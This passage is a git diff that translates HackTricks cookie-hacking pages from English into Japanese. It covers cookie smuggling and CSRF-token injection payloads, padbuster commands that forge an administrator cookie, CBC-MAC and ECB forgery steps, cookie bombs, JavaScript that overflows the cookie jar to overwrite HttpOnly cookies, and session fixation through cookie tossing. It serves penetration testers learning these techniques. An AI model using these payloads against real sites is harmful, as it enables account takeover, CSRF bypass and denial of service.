Smuggling +JavaのウェブサーバーであるJetty、TomCat、Undertow、およびPythonのウェブフレームワークであるZope、さらにはcherrypy、web.py、aiohttp server、bottle、およびwebobなどのPythonウェブサーバー/フレームワークを含むいくつかのウェブサーバーは、RFC2965のサポートが残っているため、クッキー文字列を**誤って解析**します。RFC2965は、引用符付き文字列の定義にRFC2616を使用する古いクッキーの引用符付きメカニズムです。 -Several webservers, including Java webservers Jetty, TomCat, Undertow, and the Python web framework Zope, as well as Python web servers/frameworks like cherrypy, web.py, aiohttp server, bottle, and webob, are found to **incorrectly parse cookie strings** due to leftover support for RFC2965, an outdated cookie quoting mechanism that uses RFC2616 for a quoted-string definition. - -Specifically, **these servers continue reading a cookie string when they encounter a double-quoted (dquoted) cookie value, even if a semicolon is encountered**. This is problematic because **semicolons are supposed to separate key-value** pairs in the cookie string. - -For instance, if a **browser sends three cookies, RENDER\_TEXT, JSESSIONID,** and **ASDF:** +具体的には、**これらのサーバーは、セミコロンが出現した場合でも、ダブルクォート(dquoted)のクッキー値をエンカウントすると、クッキー文字列の読み取りを続けます**。これは問題です、なぜなら**セミコロンはクッキー文字列内のキーと値のペアを区切るために使用されるべきだからです**。 +例えば、**ブラウザがRENDER\_TEXT、JSESSIONID、およびASDFの3つのクッキーを送信した場合**、 ```basic RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` +これらのサーバーは、それらを**単一のクッキー値**の一部として解釈します。3つの個別のクッキーではなく。 -these servers interpret them as part of a **single cookie value** rather than three separate cookies. +これにより、セキュリティリスクが発生します。攻撃者がクロスサイトスクリプティング(XSS)アクセスを取得した場合、このバグを使用してHttpOnlyクッキーなどの**機密クッキーを外部に漏洩**することができます。 -This leads to a security risk: if an attacker gains cross-site scripting (XSS) access, they can use this bug to **exfiltrate sensitive cookies like HttpOnly cookies**. +### クッキーインジェクション -### Cookie Injection - -Many webservers, including Java's Undertow, Python's Zope, and those using Python's stdlib http.cookie.SimpleCookie and http.cookie.BaseCookie, have been found to **incorrectly parse cookies, using wrong delimiters to start the next cookie name/value pair**. This allows an attacker to **spoof multiple cookies while only controlling one cookie value**. - -In **Undertow's** case, it begins parsing the next cookie immediately after the **end of a quoted** cookie value, without waiting for a semicolon: +JavaのUndertow、PythonのZope、およびPythonの標準ライブラリhttp.cookie.SimpleCookieとhttp.cookie.BaseCookieを使用している多くのWebサーバーは、**クッキーを誤って解析し、次のクッキー名/値ペアを開始するための間違った区切り文字を使用**していることが判明しています。これにより、攻撃者は**1つのクッキー値のみを制御しながら複数のクッキーを偽装**することができます。 +**Undertow**の場合、セミコロンを待たずに、**引用符で囲まれた**クッキー値の終わりの直後に次のクッキーの解析を開始します。 ```bash LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE" ``` - -**Zope** start parsing the next cookie on a **comma**: - +**Zope**は、次のクッキーを**カンマ**で解析し始めます。 ```bash LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE ``` - -And **Python's SimpleCookie** and **BaseCookie** immediately start parsing the next cookie on a **space** character: - +そして、**PythonのSimpleCookie**と**BaseCookie**は、次のクッキーを**スペース**文字で解析し始めます: ``` LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE ``` +結果として、**cherrypy**、**web.py**、**aiohttp**サーバー、**bottle**、および**webob**(Pyramid、TurboGears)などのサーバーは、このタイプの攻撃に対して脆弱です。 -As a result, servers such as **cherrypy**, **web.py**, **aiohttp** server, **bottle**, and **webob** (Pyramid, TurboGears) are all vulnerable to this type of attack. +この問題には重大な**セキュリティ上の影響**があります。たとえば、Webアプリケーションが**クッキーベースのCSRF保護**を使用している場合、攻撃者は偽の**CSRFトークンクッキー**を注入してこの保護をバイパスすることができます。さらに、Pythonのhttp.cookieパッケージの最後の重複するクッキー名は、以前のクッキーを上書きするため、このタイプの攻撃は特に容易です。 -This issue presents significant **security implications**. For instance, if a web application uses **cookie-based CSRF protection**, an attacker can **inject** a spoofed **CSRF-token cookie** to bypass this protection. Additionally, the last duplicate cookie name in Python's http.cookie packages overrides any previous ones, making this type of attack especially easy. +さらに、**`__Secure-`**および**`__Host-`**クッキーのスプーフィングは、安全でないコンテキストで悪用される可能性があります。また、クッキーがバックエンドサーバーに渡される構成では、クッキーの注入により、バックエンドサーバーがスプーフィングに対して脆弱であるがフロントエンドサーバーが脆弱でない場合、認可バイパスが発生する可能性があります。 -Furthermore, the **spoofing** of **`__Secure-`** and **`__Host-`** cookies can be abused in an insecure context. Also, in a configuration where cookies are passed onto a backend server, **cookie injection could lead to authorization bypasses** if the backend server is susceptible to spoofing but the frontend server is not. +### 追加の脆弱なクッキーチェック -### Extra Vulnerable Cookies Checks +#### **基本的なチェック** -#### **Basic checks** +* **クッキー**は、**ログイン**するたびに**同じ**です。 +* ログアウトして同じクッキーを使用してみてください。 +* 同じクッキーを使用して、2つのデバイス(またはブラウザ)で同じアカウントにログインしようとしてみてください。 +* クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。 +* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるかどうかを確認してください。 +* 存在する場合、"**remember me**"オプションをチェックして動作を確認してください。脆弱性がある場合は、常に**remember me**のクッキーのみを使用して他のクッキーを使用しないでください。 +* パスワードを変更した後でも、以前のクッキーが機能するかどうかを確認してください。 -* The **cookie** is the **same** every time you **login**. -* Log out and try to use the same cookie. -* Try to log in with 2 devices (or browsers) to the same account using the same cookie. -* Check if the cookie has any information in it and try to modify it -* Try to create several accounts with almost the same username and check if you can see similarities. -* Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie. -* Check if the previous cookie works even after you change the password. +#### **高度なクッキー攻撃** -#### **Advanced cookies attacks** +クッキーがログイン時に変わらない(またはほぼ変わらない)場合、おそらくクッキーはアカウントのいくつかのフィールド(おそらくユーザー名)に関連しています。その場合、次のことができます: -If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can: - -* Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working. -* Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**". -* Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**. - -**Padding Oracle - Padbuster examples** +* 非常に**類似した**ユーザー名で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。 +* **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法として保存される場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの**すべてのビット**をブルートフォースすることができます。なぜなら、試すクッキーの1つは「**admin**」に属するクッキーであるからです。 +* **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。 +**Padding Oracle - Padbusterの例** ```bash padbuster # When cookies and regular Base64 @@ -251,43 +225,40 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 ``` +Padbusterは複数の試行を行い、どの条件がエラー条件(無効な条件)であるかを尋ねます。 -Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid). - -Then it will start decrypting the cookie (it may take several minutes) - -If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator** +その後、クッキーの復号化を開始します(数分かかる場合があります)。 +攻撃が成功した場合、任意の文字列を暗号化することができます。たとえば、**user=administrator**を**暗号化**したい場合は、次のようにしてください。 ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` - -This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside. +この実行では、文字列**user=administrator**が内部で正しく暗号化およびエンコードされたクッキーが取得されます。 **CBC-MAC** -Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable. +クッキーには値が含まれ、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCを使用して作成された署名です。IVとしてヌルベクトルを使用することが推奨されているため、このタイプの整合性チェックは脆弱性を持つ可能性があります。 -**The attack** +**攻撃** -1. Get the signature of username **administ** = **t** -2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'** -3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** +1. ユーザー名**administ**の署名を取得する= **t** +2. ユーザー名**rator\x00\x00\x00 XOR t**の署名を取得する= **t'** +3. クッキーに値**administrator+t'**を設定する(**t'**は**(rator\x00\x00\x00 XOR t)XOR t**の有効な署名になります= **rator\x00\x00\x00** **ECB** -If the cookie is encrypted using ECB it could be vulnerable.\ -When you log in the cookie that you receive has to be always the same. +クッキーがECBを使用して暗号化されている場合、脆弱性がある可能性があります。\ +ログインすると、受け取るクッキーは常に同じでなければなりません。 -**How to detect and attack:** +**検出および攻撃方法:** -Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie +ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキーの中にパターンがあるかどうかを確認します。 -Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted). +例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じキーでブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが表示される可能性があります)。 -There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin". +パターンがあるはずです(使用されるブロックのサイズで)。したがって、「a」の暗号化されたパターンを知っている場合、「a」のブロックのサイズ+「admin」のユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化されたパターンを削除します。そして、ユーザー名「admin」のクッキーを取得できます。 -## References +## 参考文献 * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) @@ -295,10 +266,10 @@ There should be a pattern (with the size of a used block). So, knowing how are a ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー**してください** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/pentesting-web/hacking-with-cookies/cookie-bomb.md b/pentesting-web/hacking-with-cookies/cookie-bomb.md index 1633c9948..01c7ffa91 100644 --- a/pentesting-web/hacking-with-cookies/cookie-bomb.md +++ b/pentesting-web/hacking-with-cookies/cookie-bomb.md @@ -1,43 +1,39 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ + +クッキーボムとは、**ユーザーに大量の大きなクッキーを追加する能力**であり、そのドメインとサブドメインに対して常に**大きなHTTPリクエストをサーバーに送信**させることを目的としています(クッキーのため)。そのため、これにより、そのドメインとサブドメインのユーザーに対してDoS(サービス拒否)が発生します。 + +良い**例**は、この解説で見ることができます:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) + +さらなる情報については、このプレゼンテーションをご覧ください:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - -A cookie bomb is the capability of **adding a large number of large cookies to a user** for a domain and its subdomains with the goal that the victim will always **send large HTTP requests** to the server (due to the cookies) the **server won't accept the request**. Therefore, this will cause a DoS over a user in that domain and subdomains. - -A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) - -And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index c47fff83f..bcc3b46b8 100644 --- a/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -1,42 +1,38 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some reason you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before: - +ブラウザは、ページごとに保存できる**クッキーの数に制限**があります。そのため、何らかの理由で**クッキーを消去**する必要がある場合、最も古いクッキーが削除されるため、**クッキージャーをオーバーフロー**させることができます。 ```javascript // Set many cookies for (let i = 0; i < 700; i++) { - document.cookie = `cookie${i}=${i}; Secure`; +document.cookie = `cookie${i}=${i}; Secure`; } // Remove all cookies for (let i = 0; i < 700; i++) { - document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; +document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; } ``` - -Notice, that third party cookies pointing to a different domain won't be overwritten. +第三者のドメインを指すサードパーティのクッキーは上書きされません。 {% hint style="danger" %} -This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**. +この攻撃は、**HttpOnlyクッキーを上書きするためにも使用できます。クッキーを削除してから、任意の値でリセットすることができます**。 -Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). +[**この記事のラボ**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)をチェックしてください。 {% endhint %} @@ -44,16 +40,14 @@ Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 - - diff --git a/pentesting-web/hacking-with-cookies/cookie-tossing.md b/pentesting-web/hacking-with-cookies/cookie-tossing.md index 4de2f2ba6..51b9432d0 100644 --- a/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -1,98 +1,79 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Description +## 説明 -If an attacker can **control a subdomain or the domain of a company or finds an XSS in a subdomain** he will be able to perform this attack. +もし攻撃者が**企業のサブドメインまたはドメインを制御できるか、サブドメインでXSSを見つける**ことができれば、この攻撃を実行することができます。 -As it was indicated in the Cookies Hacking section, when a **cookie is set to a domain (specifying it) it will be used in the domain and subdomains.** +Cookieハッキングのセクションで示されているように、**cookieがドメインに設定されると(それを指定して)ドメインとサブドメインで使用されます。** {% hint style="danger" %} -Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` +したがって、**攻撃者はドメインとサブドメインに特定のcookieを設定することができます。** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`のようなことを行います。 {% endhint %} -This can be dangerous as the attacker may be able to: +これは危険です。攻撃者は次のことができるかもしれません: -* **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...) -* If the **cookie doesn't change after login**, the attacker may just **fixate a cookie**, wait until the victim logs in and then **use that cookie to log in as the victim**. -* If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token). +* **被害者のcookieを攻撃者のアカウントに固定化**することで、ユーザーが気づかない場合、**彼は攻撃者のアカウントで操作を行い**、攻撃者は興味深い情報を入手するかもしれません(プラットフォームでのユーザーの検索履歴をチェックしたり、被害者がクレジットカードをアカウントに設定したり...) +* もし**ログイン後にcookieが変わらない**場合、攻撃者は単に**cookieを固定化**し、被害者がログインするのを待ってから、そのcookieを使用して**被害者としてログイン**することができます。 +* もし**cookieが初期値を設定している**場合(flaskのように**cookie**がセッションの**CSRFトークン**を**設定**し、この値が被害者がログインした後も維持される場合)、**攻撃者はこの既知の値を設定し、それを悪用**することができます(このシナリオでは、攻撃者はCSRFトークンを知っているため、ユーザーにCSRFリクエストを実行させることができます)。 -## Cookie Order +## 